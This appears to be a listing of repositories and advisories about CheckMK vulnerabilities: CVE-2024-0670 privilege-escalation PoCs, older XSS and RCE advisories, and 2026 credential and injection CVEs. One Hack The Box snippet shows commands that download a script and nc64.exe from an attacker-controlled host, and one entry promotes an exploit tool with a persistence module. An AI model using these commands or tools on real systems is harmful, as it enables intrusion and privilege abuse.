checkmk-log4j-scanner

checkmk extension to check for log4j2 CVE-2021-44228 This Plugin wraps around logpresso/CVE-2021-44228-Scanner Apache License 2.0 How it works Run in 5 steps: 1. Find all .jar, .war, .ear, .aar files recursively. 2. Find META-INF/maven/org.apache.logging.log4j/log4j-core/pom.properties entry from...

CVE-2024-0670-CheckMK-Agent-Local-Privilege-Escalation-Exploit

CVE-2024-0670 – CheckMK Agent Local Privilege Escalation PoC This repository contains a simple and clean proof-of-concept for CVE-2024-0670, a local privilege escalation vulnerability in the CheckMK Windows Agent. A low-privileged user can gain SYSTEM privileges by abusing writable temp file path...

CVE-2021-36563

CVE-2021-36563 – Множественные сохраненные и отраженные XSS Приложение: CheckMK Management Web Console Версия ПО: От 1.5.0 до 2.0.0p9 Тип атаки: Сохраненный и отраженный XSS Решение: Обновите до версии ПО 2.0.0p10 или выше Краткое описание: Веб-консоль управления CheckMK версии с 1.5.0 по 2.0.0 н...

CVE-2021-40906

CVE-2021-40906 - XSS réfléchi dans une zone non authentifiée Application: CheckMK Management Web Console Révision du logiciel: De 1.5.0 à 1.5.0p25 Auteur: Edgar Augusto Loyola Torres. Type d'attaque: XSS réfléchi Solution: Mettez à jour vers la révision du logiciel 1.6.0p26 ou ultérieure Résumé :...

CVE-2021-40904

CVE-2021-40904 - RCE via l'application Dokuwiki intégrée de CheckMk Application: Console Web de Gestion CheckMK Version du logiciel: De 1.5.0 à 1.5.0p25 Type d'attaque: RCE Solution: Mettez à jour vers la version 1.6 ou supérieure. Résumé: La console de gestion web de CheckMk Raw Edition versions...

Fsociety-CVE-2024-0670-CheckMK-LPE

🚀 Fsociety-CVE-2024-0670-CheckMK-LPE — Мощный доступ к системе стал простым 📦 Обзор Привет, друг. Этот инструмент открывает расширенный доступ к CheckMK CVE-2024-0670. Он использует слабую обработку файлов для получения поддержки SYSTEM. Программа включает специализированный модуль сохранения...

HTB-NanoCorp-CVE-2024-0670

CVE-2024-0670 — Повышение привилегий через восстановление MSI агента CheckMK NanoCorp HTB Этот репозиторий содержит скрипт PowerShell, используемый для эксплуатации CVE-2024-0670 на машине NanoCorp с Hack The Box. Уязвимость позволяет пользователю с низкими привилегиями злоупотребить...

CVE-2021-40905

CVE-2021-40905 - Exécution de code à distance via un fichier .mkp contrefait Application: Console de gestion Web CheckMK Révision logicielle: Inférieure ou égale à 2.0.0p17 Type d'attaque: RCE Solution: À déterminer ou les MKP partagés sur https://exchange.checkmk.com/ sont examinés manuellement...

CVE-2024-0670

CVE-2024-0670 – Local Privilege Escalation in CheckMK Agent PowerShell PoC Abstract This repository presents an independent PowerShell proof of concept for CVE-2024-0670 , a Windows local privilege escalation vulnerability in the CheckMK Agent. The vulnerability allows a low-privileged local user...

CVE-2024-0670

CVE-2024-0670 PoC This repository provides a Proof of Concept PoC exploit for the CVE-2024-0670 vulnerability, affecting the CheckMK Agent on Windows systems. The vulnerability occurs when the CheckMK Agent creates and executes temporary files in the C:\Windows\Temp directory. An attacker can abu...

checkmk_cve-2024-0670

checkmkcve-2024-0670 ┌──root㉿kali-/HTB/NanoCorp └─ python3 -m http.server 80 PS C:\windows\temp iwr http://10.10.16.10/zh.ps1 -outfile "c:\windows\temp\zh.ps1" PS C:\windows\temp iwr http://10.10.16.10/nc64.exe -outfile "c:\windows\temp\nc64.exe" PS C:\windows\temp iwr...

CVE-2026-92882

Insufficiently protected credentials in the host and folder configuration endpoints of the REST API in Checkmk 2.5.0p15, 2.4.0p37, 2.3.0p51 and 2.2.0 EOL allows an authenticated user who may view a host's configuration to read stored SNMP community strings, SNMPv3 auth and privacy pass phrases an...

CVE-2026-90990

Improper neutralization of newlines in filter values in the monitoring host and service list APIs in Checkmk 2.5.0p14 allows an authenticated user to inject additional Livestatus query headers, bypassing object visibility restrictions in count queries to infer information about hosts and services...

CVE-2026-90990

Checkmk versions prior to 2.5.0p14 are affected by improper neutralization of newlines in filter values within the monitoring host and service list APIs . An authenticated user can inject additional Livestatus query headers, enabling them to bypass object visibility restrictions in count queries ...

CVE-2026-90990 Livestatus injection via monitoring filter values

Improper neutralization of newlines in filter values in the monitoring host and service list APIs in Checkmk 2.5.0p14 allows an authenticated user to inject additional Livestatus query headers, bypassing object visibility restrictions in count queries to infer information about hosts and services...

CVE-2026-90990 Livestatus injection via monitoring filter values

Improper neutralization of newlines in filter values in the monitoring host and service list APIs in Checkmk 2.5.0p14 allows an authenticated user to inject additional Livestatus query headers, bypassing object visibility restrictions in count queries to infer information about hosts and services...

CVE-2026-92882

Checkmk versions <2.5.0p15, <2.4.0p37,

CVE-2026-92882 Redact SNMP community, SNMPv3 pass phrases, and IPMI password in host config REST API GET responses

Insufficiently protected credentials in the host and folder configuration endpoints of the REST API in Checkmk 2.5.0p15, 2.4.0p37, 2.3.0p51 and 2.2.0 EOL allows an authenticated user who may view a host's configuration to read stored SNMP community strings, SNMPv3 auth and privacy pass phrases an...

CVE-2026-92882 Redact SNMP community, SNMPv3 pass phrases, and IPMI password in host config REST API GET responses

Insufficiently protected credentials in the host and folder configuration endpoints of the REST API in Checkmk 2.5.0p15, 2.4.0p37, 2.3.0p51 and 2.2.0 EOL allows an authenticated user who may view a host's configuration to read stored SNMP community strings, SNMPv3 auth and privacy pass phrases an...

CVE-2026-92882: Insufficiently Protected Credentials

Insufficiently protected credentials in the host and folder configuration endpoints of the REST API in Checkmk 2.5.0p15, 2.4.0p37, 2.3.0p51 and 2.2.0 EOL allows an authenticated user who may view a host's configuration to read stored SNMP community strings, SNMPv3 auth and privacy pass phrases an...